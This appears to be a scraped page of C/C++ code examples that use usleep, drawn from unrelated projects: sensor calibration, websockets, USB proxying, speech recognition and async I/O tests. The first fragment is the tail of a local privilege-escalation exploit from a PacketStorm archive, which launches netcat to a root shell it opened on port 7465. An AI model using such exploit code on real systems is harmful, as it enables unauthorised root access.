(stderr, "o Attempting to lauch netcat to localhost rootshell/n");  execlp ("nc", "nc", "-v", "localhost", "7465", 0);  fprintf (stderr,           "o If the exploit worked, there should be an open port on 7465./n");  fprintf (stderr, "  It is a root shell. You should probably close it./n");  fflush (stderr);  sleep (60);  exit (0);}
开发者ID:BuddhaLabs,项目名称:PacketStorm-Exploits,代码行数:95,


示例14: main

int main(int argc, char **argv) {      int frequency[127],i,ch,note=60;      static struct termios new_tty,old_tty;                /* setup non-blocking non-echo mode */            tcgetattr(0,&old_tty);            new_tty=old_tty;         new_tty.c_lflag&=~ICANON;         new_tty.c_cc[VMIN]=1;         new_tty.c_lflag&=~ECHO;         tcsetattr(0,TCSANOW,&new_tty);            fcntl(0,F_SETFL,fcntl(0,F_GETFL) | O_NONBLOCK);            for (i=0;i<127;i++) frequency[i]=(440.0/32.0)*(pow(2.0,(i-9.0)/12.0));      for(i=0;i<127;i++) printf("%i/n",frequency[i]);   while ((ch=getchar())!='q') {	if (ch==-1) goto loop;	switch(ch)	  {	                  case 'a': note=60; break;	     case 'w': note=61; break;	     case 's': note=62; break;	     case 'e': note=63; break;	     case 'd': note=64; break;	     case 'f': note=65; break;	     case 't': note=66; break;	     case 'g': note=67; break;	     case 'y': note=68; break;	     case 'h': note=69; break;	     case 'u': note=70; break;	     case 'j': note=71; break;	     case 'k': note=72; break;	     	  }	   		printf("%c[10;%i]/n",27,frequency[note]);//      write(1, "/33[11;200]", 9) length = 200	printf("%c",ch);	printf("/a");      	usleep(150000);      loop:	     }        tcsetattr(0,TCSANOW,&old_tty);            }
开发者ID:deater,项目名称:tb1,代码行数:64,


示例15: main

//.........这里部分代码省略.........                                            (device_info.firmware_version)%1000/100,                                            (device_info.firmware_version)%100); /// //Get the supported descriptors ///  printf("/n/nGetting Supported descriptors..../n"); while(mip_base_cmd_get_device_supported_descriptors(&device_interface, (u8*)device_descriptors, &device_descriptors_size) != MIP_INTERFACE_OK) {  } printf("/n/nSupported descriptors:/n/n");  for(i=0; i< device_descriptors_size/2; i++) {  printf("Descriptor Set: %02x, Descriptor: %02x/n", device_descriptors[i] >> 8, device_descriptors[i]&0xFF); }  /// //Peform a built-in-test ///  printf("/n/nRunning Built In Test..../n"); while(mip_base_cmd_built_in_test(&device_interface, &bit_result) != MIP_INTERFACE_OK) {  } printf("/nBIT Result (should be 0x00000000) => 0x%08x/n/n", bit_result); usleep(2000); //////////////////////////////////////////////////////////////////////////////////// // //System Command Tests // //////////////////////////////////////////////////////////////////////////////////// /// //Set/Read the current com mode /// printf("/n/nCycle through available com modes..../n/n"); //Loop through valid modes and set/read current come mode for(i=3; i>=1; i--) {  //Set the com mode  com_mode = i;    while(mip_system_com_mode(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, &com_mode) != MIP_INTERFACE_OK)  {  }    //Reset the com_mode variable  com_mode = 0;    //Read back the com mode     while(mip_system_com_mode(&device_interface, MIP_FUNCTION_SELECTOR_READ, &com_mode) != MIP_INTERFACE_OK)  {  }
开发者ID:idaohang,项目名称:microstrain_mip_node,代码行数:66,


示例16: warn

intLIS3MDL::calibrate(struct file *file_pointer, unsigned enable){	struct mag_report report;	ssize_t sz;	int ret = 1;	uint8_t num_samples = 10;	// XXX do something smarter here	int fd = (int)enable;	float sum_excited[3] = {0.0f, 0.0f, 0.0f};	float sum_non_excited[3] = {0.0f, 0.0f, 0.0f};	/* start the sensor polling at 50 Hz */	if (ioctl(file_pointer, SENSORIOCSPOLLRATE, 50) != OK) {		warn("FAILED: SENSORIOCSPOLLRATE 50Hz");		ret = 1;		goto out;	}	/* Set to 12 Gauss */	if (ioctl(file_pointer, MAGIOCSRANGE, 12) != OK) {		PX4_WARN("FAILED: MAGIOCSRANGE 12 Ga");		ret = 1;		goto out;	}	usleep(20000);	/* discard 10 samples to let the sensor settle */	for (uint8_t i = 0; i < num_samples; i++) {		struct pollfd fds;		/* wait for data to be ready */		fds.fd = fd;		fds.events = POLLIN;		ret = ::poll(&fds, 1, 2000);		if (ret != 1) {			warn("ERROR: TIMEOUT 1");			goto out;		}		/* now go get it */		sz = ::read(fd, &report, sizeof(report));		if (sz != sizeof(report)) {			warn("ERROR: READ 1");			ret = -EIO;			goto out;		}	}	/* read the sensor up to 10x */	for (uint8_t i = 0; i < num_samples; i++) {		struct pollfd fds;		/* wait for data to be ready */		fds.fd = fd;		fds.events = POLLIN;		ret = ::poll(&fds, 1, 2000);		if (ret != 1) {			warn("ERROR: TIMEOUT 2");			goto out;		}		/* now go get it */		sz = ::read(fd, &report, sizeof(report));		if (sz != sizeof(report)) {			warn("ERROR: READ 2");			ret = -EIO;			goto out;		}		sum_non_excited[0] += report.x;		sum_non_excited[1] += report.y;		sum_non_excited[2] += report.z;	}	sum_non_excited[0] /= num_samples;	sum_non_excited[1] /= num_samples;	sum_non_excited[2] /= num_samples;	/* excite strap and take measurements */	if (ioctl(file_pointer, MAGIOCEXSTRAP, 1) != OK) {		PX4_WARN("FAILED: MAGIOCEXSTRAP 1");		ret = 1;		goto out;	}	usleep(60000);	/* discard 10 samples to let the sensor settle */	for (uint8_t i = 0; i < num_samples; i++) {		struct pollfd fds;		/* wait for data to be ready *///.........这里部分代码省略.........
开发者ID:LiYuanxing,项目名称:Firmware,代码行数:101,


示例17: callback_lws_mirror

static intcallback_lws_mirror(struct libwebsocket_context *context,			struct libwebsocket *wsi,			enum libwebsocket_callback_reasons reason,					       void *user, void *in, size_t len){	int n;	struct per_session_data__lws_mirror *pss = (struct per_session_data__lws_mirror *)user;	switch (reason) {	case LWS_CALLBACK_ESTABLISHED:		lwsl_info("callback_lws_mirror: LWS_CALLBACK_ESTABLISHED/n");		pss->ringbuffer_tail = ringbuffer_head;		pss->wsi = wsi;		break;	case LWS_CALLBACK_PROTOCOL_DESTROY:		lwsl_notice("mirror protocol cleaning up/n");		for (n = 0; n < sizeof ringbuffer / sizeof ringbuffer[0]; n++)			if (ringbuffer[n].payload)				free(ringbuffer[n].payload);		break;	case LWS_CALLBACK_SERVER_WRITEABLE:		if (close_testing)			break;		while (pss->ringbuffer_tail != ringbuffer_head) {			n = libwebsocket_write(wsi, (unsigned char *)				   ringbuffer[pss->ringbuffer_tail].payload +				   LWS_SEND_BUFFER_PRE_PADDING,				   ringbuffer[pss->ringbuffer_tail].len,								LWS_WRITE_TEXT);			if (n < 0) {				lwsl_err("ERROR %d writing to mirror socket/n", n);				return -1;			}			if (n < ringbuffer[pss->ringbuffer_tail].len)				lwsl_err("mirror partial write %d vs %d/n",				       n, ringbuffer[pss->ringbuffer_tail].len);			if (pss->ringbuffer_tail == (MAX_MESSAGE_QUEUE - 1))				pss->ringbuffer_tail = 0;			else				pss->ringbuffer_tail++;			if (((ringbuffer_head - pss->ringbuffer_tail) &				  (MAX_MESSAGE_QUEUE - 1)) == (MAX_MESSAGE_QUEUE - 15))				libwebsocket_rx_flow_allow_all_protocol(					       libwebsockets_get_protocol(wsi));			// lwsl_debug("tx fifo %d/n", (ringbuffer_head - pss->ringbuffer_tail) & (MAX_MESSAGE_QUEUE - 1));			if (lws_partial_buffered(wsi) || lws_send_pipe_choked(wsi)) {				libwebsocket_callback_on_writable(context, wsi);				break;			}			/*			 * for tests with chrome on same machine as client and			 * server, this is needed to stop chrome choking			 */#ifdef _WIN32			Sleep(1);#else			usleep(1);#endif		}		break;	case LWS_CALLBACK_RECEIVE:		if (((ringbuffer_head - pss->ringbuffer_tail) &				  (MAX_MESSAGE_QUEUE - 1)) == (MAX_MESSAGE_QUEUE - 1)) {			lwsl_err("dropping!/n");			goto choke;		}		if (ringbuffer[ringbuffer_head].payload)			free(ringbuffer[ringbuffer_head].payload);		ringbuffer[ringbuffer_head].payload =				malloc(LWS_SEND_BUFFER_PRE_PADDING + len +						  LWS_SEND_BUFFER_POST_PADDING);		ringbuffer[ringbuffer_head].len = len;		memcpy((char *)ringbuffer[ringbuffer_head].payload +					  LWS_SEND_BUFFER_PRE_PADDING, in, len);		if (ringbuffer_head == (MAX_MESSAGE_QUEUE - 1))			ringbuffer_head = 0;		else			ringbuffer_head++;		if (((ringbuffer_head - pss->ringbuffer_tail) &				  (MAX_MESSAGE_QUEUE - 1)) != (MAX_MESSAGE_QUEUE - 2))			goto done;choke:		lwsl_debug("LWS_CALLBACK_RECEIVE: throttling %p/n", wsi);		libwebsocket_rx_flow_control(wsi, 0);//.........这里部分代码省略.........
开发者ID:AdithyanIlangovan,项目名称:ATSC_ROUTE,代码行数:101,


示例18: fprintf

int TCP_Helper::client_open_endpoints(__u8* eps,__u8 num_eps,int timeout) {	int i;	struct pollfd* poll_connections=NULL;	__u8* poll_idxs=NULL;	int poll_count=0;	int poll_idx=0;	for (i=0;i<num_eps;i++) {		int idx=(eps[i]&0x80)?(eps[i]&0xf)|0x10:eps[i];		if (!ep_connect[idx]) {			if (!ep_socket[idx]) {				fprintf(stderr,"Connecting EP%02x/n",eps[i]);				client_connect(idx,0);			}			if (!ep_connect[idx]) poll_count++;		}	}	if (!poll_count) return 0;	poll_connections=(struct pollfd*)calloc(poll_count,sizeof(struct pollfd));	poll_idxs=(__u8*)calloc(poll_count,sizeof(__u8));	for (i=0;i<num_eps;i++) {		int idx=(eps[i]&0x80)?(eps[i]&0xf)|0x10:eps[i];		if (!ep_connect[idx]) {			poll_connections[poll_idx].fd=ep_socket[idx];			poll_connections[poll_idx].events=POLLOUT;			poll_idxs[poll_idx]=idx;			poll_idx++;		}	}	int ep_count=poll_count;	int rc=-1;	struct timeval tvBegin,tvEnd;	gettimeofday(&tvBegin,NULL);	if (poll(poll_connections,poll_count,timeout)) {		for (poll_idx=0;poll_idx<poll_count;poll_idx++) {			if (poll_connections[poll_idx].revents&POLLHUP) {				int idx=poll_idxs[poll_idx];				close(ep_socket[idx]);				ep_socket[idx]=0;			}			if (poll_connections[poll_idx].revents==POLLOUT) {				int idx=poll_idxs[poll_idx];				if (client_connect(idx,0)==0) {					fprintf(stderr,"Connected EP%02x/n",(idx&0xf) | ((idx&0x10)<<3));					ep_buf[idx] = (__u8*)malloc(TCP_BUFFER_SIZE);					ep_count--;				}			}		}		gettimeofday(&tvEnd,NULL);		long int usecs=(tvEnd.tv_usec+tvEnd.tv_sec*1000000)-(tvBegin.tv_usec+tvBegin.tv_sec*1000000);		long int utimeout=(long int)timeout*1000-usecs;		if (utimeout>0) usleep(utimeout);		rc=ep_count;	} else {		rc=ETIMEDOUT;	}	free(poll_connections);	poll_connections=NULL;	free(poll_idxs);	poll_idxs=NULL;	return rc;}
开发者ID:JCZ-Automatisering,项目名称:USBProxy,代码行数:65,


示例19: main

int main(int argc, char *argv[]) {	Jsp::Socket sockAdinnet;	Jsp::Socket sockModule;	// ----------------------------------------	//	default port no	// ----------------------------------------	int module_portno = DEFAULT_MODULE_PORT;	int adinnet_portno = DEFAULT_ADINNET_PORT;	// ----------------------------------------	//	help	// ----------------------------------------	if ((argc == 2) && (strcmp(argv[1], "-h") == 0)) {		fprintf(stderr, "usage: %s [-mp <portno>] [-ap <portno>]/n", argv[0]);		return 0;	}	// ----------------------------------------	//	check for port specification	// ----------------------------------------	bool bModulePortSpecified = false;	bool bAdinnetPortSpecified = false;	for (int i=1; i<argc; i++)	{		if (strcmp(argv[i], "-mp") == 0)		{			bModulePortSpecified = true;		}		else if (strcmp(argv[i], "-ap") == 0)		{			bAdinnetPortSpecified = true;		}		else if (bModulePortSpecified)		{			module_portno = atoi(argv[i]);			bModulePortSpecified = false;		}		else if (bAdinnetPortSpecified)		{			adinnet_portno = atoi(argv[i]);			bAdinnetPortSpecified = false;		}	}	int status;	// ----------------------------------------	//	connect to julius in module mode	// ----------------------------------------	status = sockModule.connect("localhost", module_portno);	if (status < 0) {		printf("[ERROR] module port (%d) connect failed./n", module_portno);		return 1;	} else {		printf("module port (%d) connection established./n", module_portno);	}	// ----------------------------------------	//	wait some time	// ----------------------------------------	usleep(500000);	// microsecond	// ----------------------------------------	//	connect to julius adinnet port	// ----------------------------------------	status	= sockAdinnet.connect("localhost", adinnet_portno);	if (status < 0) {		printf("[ERROR] adinnet port (%d) connect failed./n", adinnet_portno);		return 1;	} else {		printf("adinnet port (%d) connection established./n", adinnet_portno);	}	// ----------------------------------------	//	setup recog object	// ----------------------------------------	Jsp::Recog recog(&sockModule, &sockAdinnet);	for (;;)	{		char waveFile[256];		printf("*** enter wav file name ***/n");		printf("> ");		fgets(waveFile, sizeof(waveFile), stdin);		if (strcmp(waveFile, "quit")==0) break;		// strip off NL at the end of line		waveFile[strlen(waveFile)-1]='/0';		// ----------------------------------------		//	load wave file		// ----------------------------------------		Jsp::Wave wave;		if (!wave.loadFromFile(waveFile)) break;//.........这里部分代码省略.........
开发者ID:Aharobot,项目名称:SIGServer,代码行数:101,


示例20: printf

int TCP_Helper::client_connect(int port,int timeout) {	int sck;	if (ep_connect[port] && ep_socket[port]) return 0;	if (!ep_socket[port]) { //create socket		struct sockaddr_in serv_addr;		if((sck = socket(AF_INET, SOCK_STREAM|SOCK_NONBLOCK|SOCK_CLOEXEC, 0))< 0)		{			printf("/n Error : Could not create socket /n");			return -1;		}		serv_addr.sin_family = AF_INET;		serv_addr.sin_port = htons(BASE_PORT + port);		serv_addr.sin_addr.s_addr = inet_addr(p_address);		int rc=::connect(sck, (struct sockaddr *)&serv_addr, sizeof(serv_addr));		fprintf(stderr,"Connect on port %d: %d/n",BASE_PORT + port,rc);		if (rc==0) { //immediate connect			ep_socket[port]=sck;			ep_connect[port]=true;			return 0;		}		if(rc<0 && errno==EINPROGRESS) { //async connect			ep_socket[port]=sck;			ep_connect[port]=false;		}		if (rc<0 && errno!=EINPROGRESS) {			fprintf(stderr, "Error : Connect Failed /n");			return -1;		}	}	if (ep_socket[port]) { //wait for an async connect to complete		struct pollfd poll_connect;		poll_connect.fd=ep_socket[port];		poll_connect.events=POLLOUT;		struct timeval tvBegin,tvEnd;		gettimeofday(&tvBegin,NULL);		if (poll(&poll_connect,1,timeout)) {			//sleep for the remaining portion of timeout when socket itself has timed out			if (poll_connect.revents&POLLHUP) {				close(ep_socket[port]);				ep_socket[port]=0;				gettimeofday(&tvEnd,NULL);				long int usecs=(tvEnd.tv_usec+tvEnd.tv_sec*1000000)-(tvBegin.tv_usec+tvBegin.tv_sec*1000000);				long int utimeout=(long int)timeout*1000-usecs;				if (utimeout>0) usleep(utimeout);				return ETIMEDOUT;			}			if (poll_connect.revents==POLLOUT) {				ep_connect[port]=true;				return 0;			}			fprintf(stderr,"Unexpected client connect poll results: %d/n",poll_connect.revents);		} else {			return ETIMEDOUT;		}	}	return -1; //should never really be reached}
开发者ID:JCZ-Automatisering,项目名称:USBProxy,代码行数:61,


示例21: checkFontsPrompt

string checkFontsPrompt(){	GuiWindow promptWindow(520,360);	promptWindow.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE);	promptWindow.SetPosition(0, -10);	GuiImageData dialogBox(Theme.dialog_background);	GuiImage dialogBoxImg(&dialogBox);	GuiImageData btnOutline(Theme.button_small);	GuiImage btn1Img(&btnOutline);	GuiImageData btnOutlineOver(Theme.button_small_focus);	GuiImage btn1ImgOver(&btnOutlineOver);	// ok button	GuiText backTxt(tr("OK"), 22, (GXColor){Theme.button_small_text_1, Theme.button_small_text_2, Theme.button_small_text_3, 255});	GuiImage backImg(&btnOutline);	GuiImage backImgOver(&btnOutlineOver);	GuiButton back(btnOutline.GetWidth(), btnOutline.GetHeight());	GuiTrigger trigA;	trigA.SetSimpleTrigger(-1, WPAD_BUTTON_A | WPAD_CLASSIC_BUTTON_A, PAD_BUTTON_A);	back.SetAlignment(ALIGN_CENTRE, ALIGN_BOTTOM);	back.SetPosition(0, -25);	back.SetLabel(&backTxt);	back.SetImage(&backImg);	back.SetImageOver(&backImgOver);	back.SetTrigger(&trigA);	back.SetState(STATE_SELECTED);	GuiText titleTxt(tr("Download"), 26, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255});	titleTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP);	titleTxt.SetPosition(0, 40);	GuiText msgTxt(tr("Initialise network..."), 22, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255});	msgTxt.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE);	promptWindow.Append(&dialogBoxImg);	promptWindow.Append(&titleTxt);	promptWindow.Append(&msgTxt);	HaltGui();	mainWindow->SetState(STATE_DISABLED);	mainWindow->Append(&promptWindow);	mainWindow->ChangeFocus(&promptWindow);	ResumeGui();	string downloadfont = "NULL";	// überprüfen, ob netzwerk initialisiert wird	Initialize_Network();	if(!IsNetworkInit())	{		msgTxt.SetText(tr("No network connection"));		bool stop = false;		promptWindow.Append(&back);		while(!stop)		{			usleep(100);			if(back.GetState() == STATE_CLICKED)				stop = true;		}		promptWindow.Remove(&back);	}	else	{		downloadfont = FontList();		if(downloadfont == "error")		{			downloadfont = "NULL";			msgTxt.SetText(tr("Error while reading file"));			bool stop = false;			promptWindow.Append(&back);			while(!stop)			{				usleep(100);				if(back.GetState() == STATE_CLICKED)					stop = true;			}			promptWindow.Remove(&back);		}	}	HaltGui();	mainWindow->Remove(&promptWindow);	mainWindow->SetState(STATE_DEFAULT);	ResumeGui();	return downloadfont;}
开发者ID:DarkMatterCore,项目名称:homebrewfilter,代码行数:93,


示例22: TEST_F

//.........这里部分代码省略.........        TestCtx test_ctx;        test_ctx.test_ma = shm_st;        yf_log_t *proc_log = yf_log_open(YF_LOG_DEBUG, 8192, (void*)"dir/proc.log");        yf_pid_t active_pid = yf_spawn_process(test_channel_func,                               NULL, "test_channel_func", YF_PROC_CHILD,                                on_child_exit_cb, proc_log);                yf_pid_t pid = yf_spawn_process(test_channel_func,                               NULL, "test_channel_func", YF_PROC_CHILD,                                on_child_exit_cb, proc_log);        yf_pid_t signal_pid = yf_spawn_process(empty_child_proc,                               NULL, "empty_child_proc", YF_PROC_CHILD,                                on_child_exit_cb, proc_log);        ASSERT_TRUE(signal_pid != YF_INVALID_PID);                for (size_t i = 0; i < YF_ARRAY_SIZE(cnt); ++i)        {                test_ctx.try_times = cnt[i];                test_ctx.is_add = flag[i];                pid = yf_spawn_process(child_process,                                       &test_ctx, "child_process", YF_PROC_CHILD,                                        on_child_exit_cb, proc_log);                ASSERT_TRUE(pid != YF_INVALID_PID);        }         sigset_t set;        sigemptyset(&set);        while (exit_cnt < YF_ARRAY_SIZE(cnt))        {                sigsuspend(&set);                if (g_child_flag)                {                        yf_process_get_status(_log);                        g_child_flag = 0;                        yf_log_debug1(YF_LOG_DEBUG, _log, 0, "exit child process = %d", exit_cnt);                }        }        printf("last cnt=%d, pid=%d/n", shm_st->cnt, getpid());        ASSERT_EQ(shm_st->cnt, (cnt[0] + cnt[1] - cnt[2] - cnt[3]));        //send signal to empty child proc        yf_os_signal_process(child_signals, "reload", signal_pid, _log);        yf_os_signal_process(child_signals, "stop_accept", signal_pid, _log);        yf_sleep(1);//must        yf_os_signal_process(child_signals, "quit", signal_pid, _log);        //send cmd by channel to child proc, and old child -> new child        yf_channel_t  channel = {0};                channel.command = YF_CMD_DATA;        sprintf(channel.data, "gfdgfds564fdaefafd");        ret = yf_write_channel(yf_processes[0].channel[0], &channel, _log);        ASSERT_EQ(ret, YF_OK);        //send file fd to child proc        yf_memzero(&channel, sizeof(channel));        channel.command = YF_CMD_SEND_FD;        yf_fd_t fd_send = yf_open_file("dir/test_fd_send", YF_FILE_APPEND,                         YF_FILE_CREATE_OR_OPEN,                         YF_FILE_DEFAULT_ACCESS);        channel.fd = fd_send;        assert(fd_send >= 0);        ret = yf_write_channel(yf_processes[1].channel[0], &channel, _log);        ASSERT_EQ(ret, YF_OK);        //yf_close test 1's fds        //yf_close(yf_processes[1].channel[0]);        //yf_close(yf_processes[1].channel[1]);        //channel 的特性,当把一对socket中一端发送给另外的proc后,就会形成,多个发送者和一个接受        //者的连接;只有当所有这些proc关闭这端后,另外那段接受者才能收到recv=0的标志(即连接断开)        usleep(100000);        yf_memzero(&channel, sizeof(channel));        channel.command = YF_CMD_QUIT;        ret = yf_write_channel(yf_processes[0].channel[0], &channel, _log);        ASSERT_EQ(ret, YF_OK);        exit_cnt = 0;        while (exit_cnt < 3)        {                sigsuspend(&set);                if (g_child_flag)                {                        yf_process_get_status(_log);                        g_child_flag = 0;                        yf_log_debug1(YF_LOG_DEBUG, _log, 0, "exit child process = %d", exit_cnt);                }        }        yf_close_file(fd_send);        yf_lock_destory(&shm_st->lock);        yf_log_close(proc_log);        yf_shm_free(&shm);}
开发者ID:kevin-zhong,项目名称:yifei,代码行数:101,


示例23: do_test

//.........这里部分代码省略.........    /* Case two: invalid fds that do not match; just print warning.  */    if (aio_cancel (fd, &cb) != -1 || errno != EBADF)      puts ("aio_cancel( -1, {-2..} ) did not return -1 or errno != EBADF");  }  /* Test for aio_fsync() detecting bad fd.  */  {    struct aiocb cb;    int fd = -1;    cb.aio_fildes = fd;    cb.aio_offset = 0;    cb.aio_buf = NULL;    cb.aio_nbytes = 0;    cb.aio_reqprio = 0;    cb.aio_sigevent.sigev_notify = SIGEV_NONE;    errno = 0;    /* Case one: invalid fd.  */    if (aio_fsync (O_SYNC, &cb) != -1 || errno != EBADF)      {	puts ("aio_fsync( op, {-1..} ) did not return -1 or errno != EBADF");	++result;      }  }  /* Test for aio_suspend() suspending even if completed elements in list.  */  {#define BYTES 8    const int ELEMS = 2;    int i, r, fd;    static char buff[BYTES];    char name[] = "/tmp/aio7.XXXXXX";    struct timespec timeout;    static struct aiocb cb0, cb1;    struct aiocb *list[ELEMS];    fd = mkstemp (name);    if (fd < 0)      error (1, errno, "creating temp file");    if (unlink (name))      error (1, errno, "unlinking temp file");    if (write (fd, "01234567", BYTES) != BYTES)      error (1, errno, "writing to temp file");    cb0.aio_fildes = fd;    cb0.aio_offset = 0;    cb0.aio_buf = buff;    cb0.aio_nbytes = BYTES;    cb0.aio_reqprio = 0;    cb0.aio_sigevent.sigev_notify = SIGEV_NONE;    r = aio_read (&cb0);    if (r != 0)      error (1, errno, "reading from file");    while (aio_error (&(cb0)) == EINPROGRESS)      usleep (10);    for (i = 0; i < BYTES; i++)      printf ("%c ", buff[i]);    printf ("/n");    /* At this point, the first read is completed, so start another one on       the read half of a pipe on which nothing will be written.  */    cb1.aio_fildes = piped[0];    cb1.aio_offset = 0;    cb1.aio_buf = buff;    cb1.aio_nbytes = BYTES;    cb1.aio_reqprio = 0;    cb1.aio_sigevent.sigev_notify = SIGEV_NONE;    r = aio_read (&cb1);    if (r != 0)      error (1, errno, "reading from file");    /* Now call aio_suspend() with the two reads.  It should return     * immediately according to the POSIX spec.     */    list[0] = &cb0;    list[1] = &cb1;    timeout.tv_sec = 3;    timeout.tv_nsec = 0;    r = aio_suspend ((const struct aiocb * const *) list, ELEMS, &timeout);    if (r == -1 && errno == EAGAIN)      {	puts ("aio_suspend([done,blocked],2,3) suspended thread");	++result;      }    /* Note that CB1 is still pending, and so cannot be an auto variable.       Thus we also test that exiting with an outstanding request works.  */  }  return result;}
开发者ID:gf-chen,项目名称:glibc,代码行数:101,


示例24: main

int main(int argc, char **argv){	sigset_t sigset;	int signum = SIGALRM;	int mode;	struct thread_param *par;	struct thread_stat *stat;	pthread_attr_t thattr;	int i, ret = -1;#ifndef __XENO__	if (geteuid()) {		printf("need to run as root!/n");		exit(-1);	}#endif	mlockall(MCL_CURRENT | MCL_FUTURE);	if (CONFIG_XENO_DEFAULT_PERIOD > 1000000)		interval = CONFIG_XENO_DEFAULT_PERIOD;	else		interval = 1000000;	distance = interval / 2;	process_options(argc, argv);	mode = use_nanosleep + use_system;       	sigemptyset(&sigset);       	sigaddset(&sigset, signum);   	sigprocmask (SIG_BLOCK, &sigset, NULL);	signal(SIGINT, sighand);	signal(SIGTERM, sighand);	par = calloc(num_threads, sizeof(struct thread_param));	if (!par)		goto out;	stat = calloc(num_threads, sizeof(struct thread_stat));	if (!stat)		goto outpar;	clock_gettime(clocksources[clocksel], &start);	for (i = 0; i < num_threads; i++) {		if (verbose) {			stat[i].values = calloc(VALBUF_SIZE, sizeof(long));			if (!stat[i].values)				goto outall;			par[i].bufmsk = VALBUF_SIZE - 1;		}		par[i].prio = priority;		if (priority)			priority--;		par[i].clock = clocksources[clocksel];		par[i].mode = mode;		par[i].timermode = timermode;		par[i].signal = signum;		par[i].interval = interval;		interval += distance;		par[i].max_cycles = max_cycles;		par[i].stats = &stat[i];		stat[i].min = 1000000;		stat[i].max = -1000000;		stat[i].avg = 0.0;		pthread_attr_init(&thattr);		pthread_attr_setstacksize(&thattr, 131072);		pthread_create(&stat[i].thread, &thattr, timerthread, &par[i]);		stat[i].threadstarted = 1;		stat[i].traced = (i == 0 && IPIPE_TRACE > 0);	}	while (!test_shutdown) {		char lavg[256];		int fd, len, allstopped;		if (!verbose && !quiet) {			fd = open("/proc/loadavg", O_RDONLY, 0666);			len = read(fd, &lavg, 255);			close(fd);			lavg[len-1] = 0x0;			printf("%s          /n/n", lavg);		}		allstopped = max_cycles ? 1 : 0;		for (i = 0; i < num_threads; i++) {			print_stat(&par[i], i, verbose);			if (stat[i].cycles < max_cycles)				allstopped = 0;		}		usleep(10000);		if (test_shutdown || allstopped == num_threads)			break;		if (!verbose && !quiet)			printf("/033[%dA", num_threads + 2);	}	if (quiet) {//.........这里部分代码省略.........
开发者ID:JackieXie168,项目名称:xenomai,代码行数:101,


示例25: main

int main() {e globals[] = {&&sleep_ms, &&pr_stacks, &&pr_float, &&pr_int, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, &&write_c};e* gs = globals + 104;int i = 0;e *j = 0;*--c = &&exit;goto main;exit: return *d;pr_int: printf("%d/n", *d++); goto **c++;pr_float: printf("%f/n", *d++); goto **c++;pr_stacks:fprintf(stderr, "/n[data]/n"); for(j = d; j < data + DATA_S; ++j) fprintf(stderr, "%4d|i%20lld|v%20lld|dv%20lf|V/n", j - d, *j, *j - (e)(&main), *j);fprintf(stderr, "[daux]/n"); for(j = dtmp; j < D; ++j) fprintf(stderr, "%4d|i%20lld|v%20lld|dv%20lf|V/n", j - dtmp, *j, *j - (e)(&main), *j);fprintf(stderr, "[code]/n"); for(j = c; j < code + CODE_S; ++j) fprintf(stderr, "%4d|i%20lld|dv/n", j - c, *j - (e)(&main));goto **c++;sleep_ms: usleep(*d++ * 1000); goto **c++;std_call: (*(void(*)())d++)(); goto **c++;write_c: putc((char) *d++, stdout); goto **c++;// Begin g1: [[. [.[a]z E tsI] [,w,] /]]g1:/* [ */ *--d = &&g2;/* ] */ goto **c++;// End g1// Begin g2: [. [.[a]z E tsI] [,w,] /]g2:/* . */ --d; *d = d[1];/*   */ ;/* [ */ *--d = &&g3;/*   */ ;/* [ */ *--d = &&g6;/*   */ ;/* / */ goto **((d += 3) - 2 - !d[-1]);/* ] */ goto **c++;// End g2// Begin g3: [.[a]z E tsI]g3:/* . */ --d; *d = d[1];/* [ */ *--d = &&g4;/* z */ tmp = *d++; *D++=*d++; *--c = &&g5; goto *tmp; g5: *--d = *--D;/*   */ ;/* E */ --*d;/*   */ ;/* t */ *--d = 2;/* s */ *d = d[*d + 1];/* I */ goto **d++;/* ] */ goto **c++;// End g3// Begin g4: [a]g4:/* a */ d[1] += *d; d++;/* ] */ goto **c++;// End g4// Begin g6: [,w,]g6:/* , */ ++d;/* w */ tmp = *d; *d = d[1]; d[1] = tmp;/* , */ ++d;/* ] */ goto **c++;// End g6// Begin main: k10 kw [[. [.[a]z E tsI] [,w,] /]]tZ tsImain:/* k */ *--d = 0;/* 1 */ *d *= 10; *d += 1;/* 0 */ *d *= 10; *d += 0;/*   */ ;/* k */ *--d = 0;/* w */ tmp = *d; *d = d[1]; d[1] = tmp;/*   */ ;/* [ */ *--d = &&g1;/* t */ *--d = 2;/* Z */ d += 2; for (i = 0; i < d[-2]; ++i) *D++=d[i]; tmp=d[-1]; d += *D++=i; *--c = &&g7; goto *tmp; g7: for (i = *--D; i > 0; --i) *--d = *--D;/*   */ ;/* t */ *--d = 2;/* s */ *d = d[*d + 1];/* I */ goto **d++;/* ] */ goto **c++;// End main}
开发者ID:spencertipping,项目名称:caterwaul.hlasm,代码行数:86,


示例26: readDHT

